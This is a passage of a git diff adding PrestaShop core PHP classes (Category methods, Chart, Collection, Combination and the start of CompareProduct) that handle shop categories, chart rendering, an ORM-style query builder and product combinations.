WHERE c2.nleft > '.(int)$this->nleft.' + AND c2.nright < '.(int)$this->nright.' + AND c2.active = 1 + UNION SELECT '.(int)$this->id.' + ) + '); + if (!$result) + return -1; + return $result[0]['nb_product_recursive']; + } + + /** + * + * @param Array $ids_category + * @param int $id_lang + * @return Array + */ + public static function getCategoryInformations($ids_category, $id_lang = null) + { + if ($id_lang === null) + $id_lang = Context::getContext()->language->id; + + if (!is_array($ids_category) || !count($ids_category)) + return; + + $categories = array(); + $results = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT c.`id_category`, cl.`name`, cl.`link_rewrite`, cl.`id_lang` + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (c.`id_category` = cl.`id_category`'.Shop::addSqlRestrictionOnLang('cl').') + '.Shop::addSqlAssociation('category', 'c').' + WHERE cl.`id_lang` = '.(int)$id_lang.' + AND c.`id_category` IN ('.implode(',', array_map('intval', $ids_category)).') + '); + + foreach ($results as $category) + $categories[$category['id_category']] = $category; + + return $categories; + } + + /** + * @param $id_shop + * @return bool + */ + public function isParentCategoryAvailable($id_shop) + { + $id = Context::getContext()->shop->id; + $id_shop = $id ? $id : Configuration::get('PS_SHOP_DEFAULT'); + return (bool)Db::getInstance()->getValue(' + SELECT c.`id_category` + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_shop` cs + ON (c.`id_category` = cs.`id_category` AND cs.`id_shop` IN ('.implode(', ', Shop::getContextListShopID()).') ) + WHERE cs.`id_shop` = '.(int)$id_shop.' + AND c.`id_parent` = '.(int)$this->id_parent); + } + + /** + * Add association between shop and cateogries + * @param int $id_shop + * @return bool + */ + public function addShop($id_shop) + { + $data = array(); + if (!$id_shop) + { + foreach (Shop::getShops(false) as $shop) + if (!$this->existsInShop($shop['id_shop'])) + $data[] = array( + 'id_category' => (int)$this->id, + 'id_shop' => (int)$shop['id_shop'], + ); + } + else if (!$this->existsInShop($id_shop)) + $data[] = array( + 'id_category' => (int)$this->id, + 'id_shop' => (int)$id_shop, + ); + + return Db::getInstance()->insert('category_shop', $data); + } + + public static function getRootCategories($id_lang = null, $active = true) + { + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT DISTINCT(c.`id_category`), cl.`name` + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (cl.`id_category` = c.`id_category` AND cl.`id_lang`='.(int)$id_lang.') + WHERE `is_root_category` = 1 + '.(($active) ? 'AND `active` = 1': '')); + } + + public static function getCategoriesWithoutParent() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT DISTINCT c.* + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (c.`id_category` = cl.`id_category` AND cl.`id_lang` = '.(int)Context::getContext()->language->id.') + WHERE `level_depth` = 1 + '); + } + + public function isRootCategoryForAShop() + { + return (bool)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_shop` + FROM `'._DB_PREFIX_.'shop` + WHERE `id_category` = '.(int)$this->id); + } + + /** + * @static + * @param null $id_lang + * @return Category + */ + public static function getTopCategory($id_lang = null) + { + if (is_null($id_lang)) + $id_lang = Context::getContext()->language->id; + $id_category = Db::getInstance()->getValue(' + SELECT `id_category` + FROM `'._DB_PREFIX_.'category` + WHERE `id_parent` = 0'); + return new Category($id_category, $id_lang); + } + + public function addPosition($position, $id_shop = null) + { + $return = true; + if (is_null($id_shop)) + { + if (Shop::getContext() != Shop::CONTEXT_SHOP) + foreach (Shop::getContextListShopID() as $id_shop) + $return &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'category_shop` (`id_category`, `id_shop`, `position`) VALUES + ('.(int)$this->id.', '.(int)$id_shop.', '.(int)$position.') + ON DUPLICATE KEY UPDATE `position` = '.(int)$position); + else + { + $id = Context::getContext()->shop->id; + $id_shop = $id ? $id : Configuration::get('PS_SHOP_DEFAULT'); + $return &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'category_shop` (`id_category`, `id_shop`, `position`) VALUES + ('.(int)$this->id.', '.(int)$id_shop.', '.(int)$position.') + ON DUPLICATE KEY UPDATE `position` = '.(int)$position); + } + } + else + $return &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'category_shop` (`id_category`, `id_shop`, `position`) VALUES + ('.(int)$this->id.', '.(int)$id_shop.', '.(int)$position.') + ON DUPLICATE KEY UPDATE `position` = '.(int)$position); + + return $return; + } + + public static function getShopsByCategory($id_category) + { + return Db::getInstance()->executeS(' + SELECT `id_shop` + FROM `'._DB_PREFIX_.'category_shop` + WHERE `id_category` = '.(int)$id_category); + } + + /** + * Update categories for a shop + * + * @param string $categories Categories list to associate a shop + * @param string $id_shop Categories list to associate a shop + * @return array Update/insertion result + */ + public static function updateFromShop($categories, $id_shop) + { + $shop = new Shop($id_shop); + // if array is empty or if the default category is not selected, return false + if (empty($categories) || !in_array($shop->id_category, $categories)) + return false; + + // delete categories for this shop + Category::deleteCategoriesFromShop($id_shop); + + // and add $categories to this shop + return Category::addToShop($categories, $id_shop); + } + + /** + * Delete category from shop $id_shop + * @param int $id_shop + * @return bool + */ + public function deleteFromShop($id_shop) + { + return Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'category_shop` + WHERE `id_shop` = '.(int)$id_shop.' + AND id_category = '.(int)$this->id.'' + ); + } + + /** + * Delete every categories + * @return bool + */ + public static function deleteCategoriesFromShop($id_shop) + { + return Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'category_shop` WHERE `id_shop` = '.(int)$id_shop.' + '); + } + + /** + * Add some categories to a shop + * @param array $categories + * @return bool + */ + public static function addToShop(array $categories, $id_shop) + { + if (!is_array($categories)) + return false; + $sql = ' + INSERT INTO `'._DB_PREFIX_.'category_shop` (`id_category`, `id_shop`) VALUES'; + $tab_categories = array(); + foreach ($categories as $id_category) + { + $tab_categories[] = new Category($id_category); + $sql .= '("'.(int)$id_category.'", "'.(int)$id_shop.'"),'; + } + // removing last comma to avoid SQL error + $sql = substr($sql, 0, strlen($sql) - 1); + + $return = Db::getInstance()->execute($sql); + // we have to update position for every new entries + foreach ($tab_categories as $category) + $category->addPosition(Category::getLastPosition($category->id_parent, $id_shop), $id_shop); + + return $return; + } + + public function existsInShop($id_shop) + { + return (bool)Db::getInstance()->getValue(' + SELECT `id_category` + FROM `'._DB_PREFIX_.'category_shop` + WHERE `id_category` = '.(int)$this->id.' + AND `id_shop` = '.(int)$id_shop); + } +} diff --git a/classes/Chart.php b/classes/Chart.php new file mode 100755 index 0000000..98a5059 --- /dev/null +++ b/classes/Chart.php @@ -0,0 +1,178 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ChartCore +{ + protected static $poolId = 0; + + protected $width = 600; + protected $height = 300; + + // Time mode + protected $timeMode = false; + protected $from; + protected $to; + protected $format; + protected $granularity; + + protected $curves = array(); + + /** @prototype void public static function init(void) */ + public static function init() + { + if (!self::$poolId) + { + ++self::$poolId; + return true; + } + } + + /** @prototype void public function __construct() */ + public function __construct() + { + ++self::$poolId; + } + + /** @prototype void public function setSize(int $width, int $height) */ + public function setSize($width, $height) + { + $this->width = (int)$width; + $this->height = (int)$height; + } + + /** @prototype void public function setTimeMode($from, $to, $granularity) */ + public function setTimeMode($from, $to, $granularity) + { + $this->granularity = $granularity; + + if (Validate::isDate($from)) + $from = strtotime($from); + $this->from = $from; + if (Validate::isDate($to)) + $to = strtotime($to); + $this->to = $to; + + if ($granularity == 'd') + $this->format = '%d/%m/%y'; + if ($granularity == 'w') + $this->format = '%d/%m/%y'; + if ($granularity == 'm') + $this->format = '%m/%y'; + if ($granularity == 'y') + $this->format = '%y'; + + $this->timeMode = true; + } + + public function getCurve($i) + { + if (!array_key_exists($i, $this->curves)) + $this->curves[$i] = new Curve(); + return $this->curves[$i]; + } + + /** @prototype void public function display() */ + public function display() + { + echo $this->fetch(); + } + + public function fetch() + { + if ($this->timeMode) + { + $options = 'xaxis:{mode:"time",timeformat:\''.addslashes($this->format).'\',min:'.$this->from.'000,max:'.$this->to.'000}'; + if ($this->granularity == 'd') + foreach ($this->curves as $curve) + for ($i = $this->from; $i <= $this->to; $i = strtotime('+1 day', $i)) + if (!$curve->getPoint($i)) + $curve->setPoint($i, 0); + } + + $jsCurves = array(); + foreach ($this->curves as $curve) + $jsCurves[] = $curve->getValues($this->timeMode); + + if (count($jsCurves)) + return ' +
+ '; + else + return ErrorFacade::Display(PS_ERROR_UNDEFINED, 'No values for this chart.'); + } +} + +class Curve +{ + protected $values = array(); + protected $label; + protected $type; + + /** @prototype void public function setValues($values) */ + public function setValues($values) + { + $this->values = $values; + } + + public function getValues($time_mode = false) + { + ksort($this->values); + $string = ''; + foreach ($this->values as $key => $value) + $string .= '['.addslashes((string)$key).($time_mode ? '000' : '').','.(float)$value.'],'; + return '{data:['.rtrim($string, ',').']'.(!empty($this->label) ? ',label:"'.$this->label.'"' : '').''.(!empty($this->type) ? ','.$this->type : '').'}'; + } + + /** @prototype void public function setPoint(float $x, float $y) */ + public function setPoint($x, $y) + { + $this->values[(string)$x] = (float)$y; + } + + public function setLabel($label) + { + $this->label = $label; + } + + public function setType($type) + { + $this->type = ''; + if ($type == 'bars') + $this->type = 'bars:{show:true,lineWidth:10}'; + if ($type == 'steps') + $this->type = 'lines:{show:true,steps:true}'; + } + + public function getPoint($x) + { + if (array_key_exists((string)$x, $this->values)) + return $this->values[(string)$x]; + } +} diff --git a/classes/Collection.php b/classes/Collection.php new file mode 100755 index 0000000..7f80940 --- /dev/null +++ b/classes/Collection.php @@ -0,0 +1,675 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Create a collection of ObjectModel objects + * + * @since 1.5.0 + */ +class CollectionCore implements Iterator, ArrayAccess, Countable +{ + const LEFT_JOIN = 1; + const INNER_JOIN = 2; + const LEFT_OUTER_JOIN = 3; + + /** + * @var string Object class name + */ + protected $classname; + + /** + * @var int + */ + protected $id_lang; + + /** + * @var array Object definition + */ + protected $definition = array(); + + /** + * @var DbQuery + */ + protected $query; + + /** + * @var array Collection of objects in an array + */ + protected $results = array(); + + /** + * @var bool Is current collection already hydrated + */ + protected $is_hydrated = false; + + /** + * @var int Collection iterator + */ + protected $iterator = 0; + + /** + * @var int Total of elements for iteration + */ + protected $total; + + protected $fields = array(); + protected $alias = array(); + protected $alias_iterator = 0; + protected $join_list = array(); + protected $association_definition = array(); + + const LANG_ALIAS = 'l'; + + /** + * @param string $classname + * @param int $id_lang + */ + public function __construct($classname, $id_lang = null) + { + $this->classname = $classname; + $this->id_lang = $id_lang; + + $this->definition = ObjectModel::getDefinition($this->classname); + if (!isset($this->definition['table'])) + throw new PrestaShopException('Miss table in definition for class '.$this->classname); + else if (!isset($this->definition['primary'])) + throw new PrestaShopException('Miss primary in definition for class '.$this->classname); + + $this->query = new DbQuery(); + } + + /** + * Join current entity to an associated entity + * + * @param $association Association name + * @param string $on + * @param int $type + * @return Collection + */ + public function join($association, $on = '', $type = null) + { + if (!$association) + return; + + if (!isset($this->join_list[$association])) + { + $definition = $this->getDefinition($association); + $on = '{'.$definition['asso']['complete_field'].'} = {'.$definition['asso']['complete_foreign_field'].'}'; + $type = self::LEFT_JOIN; + $this->join_list[$association] = array( + 'table' => ($definition['is_lang']) ? $definition['table'].'_lang' : $definition['table'], + 'alias' => $this->generateAlias($association), + 'on' => array(), + ); + } + + if ($on) + $this->join_list[$association]['on'][] = $this->parseFields($on); + + if ($type) + $this->join_list[$association]['type'] = $type; + + return $this; + } + + /** + * Add WHERE restriction on query + * + * @param string $field Field name + * @param string $operator List of operators : =, !=, <>, <, <=, >, >=, like, notlike, regexp, notregexp + * @param mixed $value + * @param string $type where|having + * @return Collection + */ + public function where($field, $operator, $value, $method = 'where') + { + if ($method != 'where' && $method != 'having') + throw new PrestaShopException('Bad method argument for where() method (should be "where" or "having")'); + + // Create WHERE clause with an array value (IN, NOT IN) + if (is_array($value)) + { + switch (strtolower($operator)) + { + case '=' : + case 'in' : + $this->query->$method($this->parseField($field).' IN('.implode(', ', $this->formatValue($value, $field)).')'); + break; + + case '!=' : + case '<>' : + case 'notin' : + $this->query->$method($this->parseField($field).' NOT IN('.implode(', ', $this->formatValue($value, $field)).')'); + break; + + default : + throw new PrestaShopException('Operator not supported for array value'); + } + } + // Create WHERE clause + else + { + switch (strtolower($operator)) + { + case '=' : + case '!=' : + case '<>' : + case '>' : + case '>=' : + case '<' : + case '<=' : + case 'like' : + case 'regexp' : + $this->query->$method($this->parseField($field).' '.$operator.' '.$this->formatValue($value, $field)); + break; + + case 'notlike' : + $this->query->$method($this->parseField($field).' NOT LIKE '.$this->formatValue($value, $field)); + break; + + case 'notregexp' : + $this->query->$method($this->parseField($field).' NOT REGEXP '.$this->formatValue($value, $field)); + break; + + default : + throw new PrestaShopException('Operator not supported'); + } + } + + return $this; + } + + /** + * Add WHERE restriction on query using real SQL syntax + * + * @param string $sql + * @return Collection + */ + public function sqlWhere($sql) + { + $this->query->where($this->parseFields($sql)); + return $this; + } + + /** + * Add HAVING restriction on query + * + * @param string $field Field name + * @param string $operator List of operators : =, !=, <>, <, <=, >, >=, like, notlike, regexp, notregexp + * @param mixed $value + * @return Collection + */ + public function having($field, $operator, $value) + { + return $this->where($field, $operator, $value, 'having'); + } + + /** + * Add HAVING restriction on query using real SQL syntax + * + * @param string $sql + * @return Collection + */ + public function sqlHaving($sql) + { + $this->query->having($this->parseFields($sql)); + return $this; + } + + /** + * Add ORDER BY restriction on query + * + * @param string $field Field name + * @param string $order asc|desc + * @return Collection + */ + public function orderBy($field, $order = 'asc') + { + $order = strtolower($order); + if ($order != 'asc' && $order != 'desc') + throw new PrestaShopException('Order must be asc or desc'); + $this->query->orderBy($this->parseField($field).' '.$order); + return $this; + } + + /** + * Add ORDER BY restriction on query using real SQL syntax + * + * @param string $sql + * @return Collection + */ + public function sqlOrderBy($sql) + { + $this->query->orderBy($this->parseFields($sql)); + return $this; + } + + /** + * Add GROUP BY restriction on query + * + * @param string $field Field name + * @return Collection + */ + public function groupBy($field) + { + $this->query->groupBy($this->parseField($field)); + return $this; + } + + /** + * Add GROUP BY restriction on query using real SQL syntax + * + * @param string $sql + * @return Collection + */ + public function sqlGroupBy($sql) + { + $this->query->groupBy($this->parseFields($sql)); + return $this; + } + + /** + * Launch sql query to create collection of objects + * + * @param bool $display_query If true, query will be displayed (for debug purpose) + * @return Collection + */ + public function getAll($display_query = false) + { + if ($this->is_hydrated) + return $this; + $this->is_hydrated = true; + + $alias = $this->generateAlias(); + //$this->query->select($alias.'.*'); + $this->query->from($this->definition['table'], $alias); + + // If multilang, create association to lang table + if (!empty($this->definition['multilang'])) + { + $this->join(self::LANG_ALIAS); + if ($this->id_lang) + $this->where(self::LANG_ALIAS.'.id_lang', '=', $this->id_lang); + } + + // Add join clause + foreach ($this->join_list as $data) + { + $on = '('.implode(') AND (', $data['on']).')'; + switch ($data['type']) + { + case self::LEFT_JOIN : + $this->query->leftJoin($data['table'], $data['alias'], $on); + break; + + case self::INNER_JOIN : + $this->query->innerJoin($data['table'], $data['alias'], $on); + break; + + case self::LEFT_OUTER_JOIN : + $this->query->leftOuterJoin($data['table'], $data['alias'], $on); + break; + } + } + + // Shall we display query for debug ? + if ($display_query) + echo $this->query.'
'; + + $this->results = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->query); + $this->results = ObjectModel::hydrateCollection($this->classname, $this->results, $this->id_lang); + + return $this; + } + + /** + * Retrieve the first result + * + * @return ObjectModel + */ + public function getFirst() + { + $this->getAll(); + if (!count($this)) + return false; + return $this[0]; + } + + /** + * Get results array + * + * @return array + */ + public function getResults() + { + $this->getAll(); + return $this->results; + } + + /** + * This method is called when a foreach begin + * + * @see Iterator::rewind() + */ + public function rewind() + { + $this->getAll(); + $this->results = array_merge($this->results); + $this->iterator = 0; + $this->total = count($this->results); + } + + /** + * Get current result + * + * @see Iterator::current() + * @return ObjectModel + */ + public function current() + { + return isset($this->results[$this->iterator]) ? $this->results[$this->iterator] : null; + } + + /** + * Check if there is a current result + * + * @see Iterator::valid() + * @return bool + */ + public function valid() + { + return $this->iterator < $this->total; + } + + /** + * Get current result index + * + * @see Iterator::key() + * @return int + */ + public function key() + { + return $this->iterator; + } + + /** + * Go to next result + * + * @see Iterator::next() + */ + public function next() + { + $this->iterator++; + } + + /** + * Get total of results + * + * @see Countable::count() + * @return int + */ + public function count() + { + $this->getAll(); + return count($this->results); + } + + /** + * Check if a result exist + * + * @see ArrayAccess::offsetExists() + * @param $offset + * @return bool + */ + public function offsetExists($offset) + { + $this->getAll(); + return isset($this->results[$offset]); + } + + /** + * Get a result by offset + * + * @see ArrayAccess::offsetGet() + * @param $offset + * @return ObjectModel + */ + public function offsetGet($offset) + { + $this->getAll(); + if (!isset($this->results[$offset])) + throw new PrestaShopException('Unknown offset '.$offset.' for collection '.$this->classname); + return $this->results[$offset]; + } + + /** + * Add an element in the collection + * + * @see ArrayAccess::offsetSet() + * @param $offset + * @param $value + */ + public function offsetSet($offset, $value) + { + if (!$value instanceof $this->classname) + throw new PrestaShopException('You cannot add an element which is not an instance of '.$this->classname); + + $this->getAll(); + if (is_null($offset)) + $this->results[] = $value; + else + $this->results[$offset] = $value; + } + + /** + * Delete an element from the collection + * + * @see ArrayAccess::offsetUnset() + * @param $offset + */ + public function offsetUnset($offset) + { + $this->getAll(); + unset($this->results[$offset]); + } + + /** + * Get definition of an association + * + * @param string $association + * @return array + */ + protected function getDefinition($association) + { + if (!$association) + return $this->definition; + + if (!isset($this->association_definition[$association])) + { + $definition = $this->definition; + $split = explode('.', $association); + $is_lang = false; + for ($i = 0, $total_association = count($split); $i < $total_association; $i++) + { + $asso = $split[$i]; + + // Check is current association exists in current definition + if (!isset($definition['associations'][$asso])) + throw new PrestaShopException('Association '.$asso.' not found for class '.$this->definition['classname']); + $current_def = $definition['associations'][$asso]; + + // Special case for lang alias + if ($asso == self::LANG_ALIAS) + { + $is_lang = true; + break; + } + + $classname = (isset($current_def['object'])) ? $current_def['object'] : Tools::toCamelCase($asso, true); + $definition = ObjectModel::getDefinition($classname); + } + + // Get definition of associated entity and add information on current association + $current_def['name'] = $asso; + if (!isset($current_def['object'])) + $current_def['object'] = Tools::toCamelCase($asso, true); + if (!isset($current_def['field'])) + $current_def['field'] = 'id_'.$asso; + if (!isset($current_def['foreign_field'])) + $current_def['foreign_field'] = 'id_'.$asso; + if ($total_association > 1) + { + unset($split[$total_association - 1]); + $current_def['complete_field'] = implode('.', $split).'.'.$current_def['field']; + } + else + $current_def['complete_field'] = $current_def['field']; + $current_def['complete_foreign_field'] = $association.'.'.$current_def['field']; + + $definition['is_lang'] = $is_lang; + $definition['asso'] = $current_def; + $this->association_definition[$association] = $definition; + } + else + $definition = $this->association_definition[$association]; + + return $definition; + } + + /** + * Parse all fields with {field} syntax in a string + * + * @param string $str + * @return string + */ + protected function parseFields($str) + { + preg_match_all('#\{(([a-z0-9_]+\.)*[a-z0-9_]+)\}#i', $str, $m); + for ($i = 0, $total = count($m[0]); $i < $total; $i++) + $str = str_replace($m[0][$i], $this->parseField($m[1][$i]), $str); + return $str; + } + + /** + * Replace a field with its SQL version (E.g. manufacturer.name with a2.name) + * + * @param string $field Field name + * @return string + */ + protected function parseField($field) + { + $info = $this->getFieldInfo($field); + return $info['alias'].'.`'.$info['name'].'`'; + } + + /** + * Format a value with the type of the given field + * + * @param mixed $value + * @param string $field Field name + * @return mixed + */ + protected function formatValue($value, $field) + { + $info = $this->getFieldInfo($field); + if (is_array($value)) + { + $results = array(); + foreach ($value as $item) + $results[] = ObjectModel::formatValue($item, $info['type'], true); + return $results; + } + return ObjectModel::formatValue($value, $info['type'], true); + } + + /** + * Obtain some information on a field (alias, name, type, etc.) + * + * @param string $field Field name + * @return array + */ + protected function getFieldInfo($field) + { + if (!isset($this->fields[$field])) + { + $split = explode('.', $field); + $total = count($split); + if ($total > 1) + { + $fieldname = $split[$total - 1]; + unset($split[$total - 1]); + $association = implode('.', $split); + } + else + { + $fieldname = $field; + $association = ''; + } + + $definition = $this->getDefinition($association); + if ($association && !isset($this->join_list[$association])) + $this->join($association); + + if ($fieldname == $definition['primary'] || (!empty($definition['is_lang']) && $fieldname == 'id_lang')) + $type = ObjectModel::TYPE_INT; + else + { + // Test if field exists + if (!isset($definition['fields'][$fieldname])) + throw new PrestaShopException('Field '.$fieldname.' not found in class '.$definition['classname']); + + // Test field validity for language fields + if (empty($definition['is_lang']) && !empty($definition['fields'][$fieldname]['lang'])) + throw new PrestaShopException('Field '.$fieldname.' is declared as lang field but is used in non multilang context'); + else if (!empty($definition['is_lang']) && empty($definition['fields'][$fieldname]['lang'])) + throw new PrestaShopException('Field '.$fieldname.' is not declared as lang field but is used in multilang context'); + + $type = $definition['fields'][$fieldname]['type']; + } + + $this->fields[$field] = array( + 'name' => $fieldname, + 'association' => $association, + 'alias' => $this->generateAlias($association), + 'type' => $type, + ); + } + return $this->fields[$field]; + } + + /** + * Generate uniq alias from association name + * + * @param string $association Use empty association for alias on current table + * @return string + */ + protected function generateAlias($association = '') + { + if (!isset($this->alias[$association])) + $this->alias[$association] = 'a'.$this->alias_iterator++; + return $this->alias[$association]; + } +} diff --git a/classes/Combination.php b/classes/Combination.php new file mode 100755 index 0000000..27148b7 --- /dev/null +++ b/classes/Combination.php @@ -0,0 +1,280 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CombinationCore extends ObjectModel +{ + public $id_product; + + public $reference; + + public $supplier_reference; + + public $location; + + public $ean13; + + public $upc; + + public $wholesale_price; + + public $price; + + public $unit_price_impact; + + public $ecotax; + + public $minimal_quantity = 1; + + public $quantity; + + public $weight; + + public $default_on; + + public $available_date = '0000-00-00'; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'product_attribute', + 'primary' => 'id_product_attribute', + 'fields' => array( + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'location' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 64), + 'ean13' => array('type' => self::TYPE_STRING, 'validate' => 'isEan13', 'size' => 13), + 'upc' => array('type' => self::TYPE_STRING, 'validate' => 'isUpc', 'size' => 12), + 'quantity' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'size' => 10), + 'reference' => array('type' => self::TYPE_STRING, 'size' => 32), + 'supplier_reference' => array('type' => self::TYPE_STRING, 'size' => 32), + + /* Shop fields */ + 'wholesale_price' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice', 'size' => 27), + 'price' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isNegativePrice', 'size' => 20), + 'ecotax' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isPrice', 'size' => 20), + 'weight' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isFloat'), + 'unit_price_impact' => array('type' => self::TYPE_FLOAT, 'shop' => true, 'validate' => 'isNegativePrice', 'size' => 20), + 'minimal_quantity' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isUnsignedId', 'required' => true), + 'default_on' => array('type' => self::TYPE_INT, 'shop' => true, 'validate' => 'isBool'), + 'available_date' => array('type' => self::TYPE_DATE, 'shop' => true, 'validate' => 'isDateFormat'), + ), + ); + + protected $webserviceParameters = array( + 'objectNodeName' => 'combination', + 'objectsNodeName' => 'combinations', + 'fields' => array( + 'id_product' => array('required' => true, 'xlink_resource'=> 'products'), + ), + 'associations' => array( + 'product_option_values' => array('resource' => 'product_option_value'), + 'images' => array('resource' => 'image'), + ), + ); + + public function delete() + { + if (!parent::delete()) + return false; + + // Removes the product from StockAvailable, for the current shop + StockAvailable::removeProductFromStockAvailable((int)$this->id_product, (int)$this->id); + + if (!$this->hasMultishopEntries() && !$this->deleteAssociations()) + return false; + return true; + } + + public function add($autodate = true, $null_values = false) + { + if (!parent::add($autodate, $null_values)) + return false; + + $product = new Product((int)$this->id_product); + if ($product->getType() == Product::PTYPE_VIRTUAL) + StockAvailable::setProductOutOfStock((int)$this->id_product, 1, null, (int)$this->id); + else + StockAvailable::setProductOutOfStock((int)$this->id_product, StockAvailable::outOfStock((int)$this->id_product), null, $this->id); + + SpecificPriceRule::applyAllRules(array((int)$this->id_product)); + + return true; + } + + public function deleteAssociations() + { + $result = Db::getInstance()->delete('product_attribute_combination', '`id_product_attribute` = '.(int)$this->id); + $result &= Db::getInstance()->delete('cart_product', '`id_product_attribute` = '.(int)$this->id); + + return $result; + } + + public function setAttributes($ids_attribute) + { + $result = $this->deleteAssociations(); + if ($result && !empty($ids_attribute)) + { + $sql_values = array(); + foreach ($ids_attribute as $value) + $sql_values[] = '('.(int)$value.', '.(int)$this->id.')'; + + $result = Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'product_attribute_combination` (`id_attribute`, `id_product_attribute`) + VALUES '.implode(',', $sql_values) + ); + } + return $result; + } + + public function setWsProductOptionValues($values) + { + $ids_attributes = array(); + foreach ($values as $value) + $ids_attributes[] = $value['id']; + return $this->setAttributes($ids_attributes); + } + + public function getWsProductOptionValues() + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT a.id_attribute AS id + FROM `'._DB_PREFIX_.'product_attribute_combination` a + '.Shop::addSqlAssociation('attribute', 'a').' + WHERE a.id_product_attribute = '.(int)$this->id); + + return $result; + } + + public function getWsImages() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT a.`id_image` as id + FROM `'._DB_PREFIX_.'product_attribute_image` a + '.Shop::addSqlAssociation('product_attribute', 'a').' + WHERE a.`id_product_attribute` = '.(int)$this->id.' + '); + } + + public function setImages($ids_image) + { + if (Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_attribute_image` + WHERE `id_product_attribute` = '.(int)$this->id) === false) + return false; + + $sql_values = array(); + + foreach ($ids_image as $value) + $sql_values[] = '('.(int)$this->id.', '.(int)$value.')'; + + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'product_attribute_image` (`id_product_attribute`, `id_image`) + VALUES '.implode(',', $sql_values) + ); + return true; + } + + public function setWsImages($values) + { + $ids_images = array(); + foreach ($values as $value) + $ids_images[] = (int)$value['id']; + return $this->setImages($ids_images); + } + + public function getAttributesName($id_lang) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT al.* + FROM '._DB_PREFIX_.'product_attribute_combination pac + JOIN '._DB_PREFIX_.'attribute_lang al ON (pac.id_attribute = al.id_attribute AND al.id_lang='.(int)$id_lang.') + WHERE pac.id_product_attribute='.(int)$this->id); + } + + /** + * This method is allow to know if a feature is active + * @since 1.5.0.1 + * @return bool + */ + public static function isFeatureActive() + { + static $feature_active = null; + + if ($feature_active === null) + $feature_active = Configuration::get('PS_COMBINATION_FEATURE_ACTIVE'); + return $feature_active; + } + + /** + * This method is allow to know if a Combination entity is currently used + * @since 1.5.0.1 + * @param $table + * @param $has_active_column + * @return bool + */ + public static function isCurrentlyUsed($table = null, $has_active_column = false) + { + return parent::isCurrentlyUsed('product_attribute'); + } + + /** + * For a given product_attribute reference, returns the corresponding id + * + * @param int $id_product + * @param string $reference + * @return int id + */ + public static function getIdByReference($id_product, $reference) + { + if (empty($reference)) + return 0; + + $query = new DbQuery(); + $query->select('pa.id_product_attribute'); + $query->from('product_attribute', 'pa'); + $query->where('pa.reference LIKE \'%'.pSQL($reference).'%\''); + $query->where('pa.id_product = '.(int)$id_product); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + /** + * Retrive the price of combination + * + * @since 1.5.0 + * @param int $id_product_attribute + * @return float mixed + */ + public static function getPrice($id_product_attribute) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT product_attribute_shop.`price` + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE pa.`id_product_attribute` = '.(int)$id_product_attribute + ); + } +} diff --git a/classes/CompareProduct.php b/classes/CompareProduct.php new file mode 100755 index 0000000..ab52cc7 --- /dev/null +++ b/classes/CompareProduct.php @@ -0,0 +1,169 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CompareProductCore extends ObjectModel +{ + public $id_compare; + + public $id_customer; + + public $date_add; + + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'compare', + 'primary' => 'id_compare', + 'fields' => array( + 'id_compare' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + ), + ); + + /** + * Get all compare products of the customer + * @param int $id_customer + * @return array + */ + public static function getCompareProducts($id_compare) + { + $results = Db::getInstance()->executeS(' + SELECT DISTINCT `id_product` + FROM `'._DB_PREFIX_.'compare` c + LEFT JOIN `'._DB_PREFIX_.'compare_product` cp 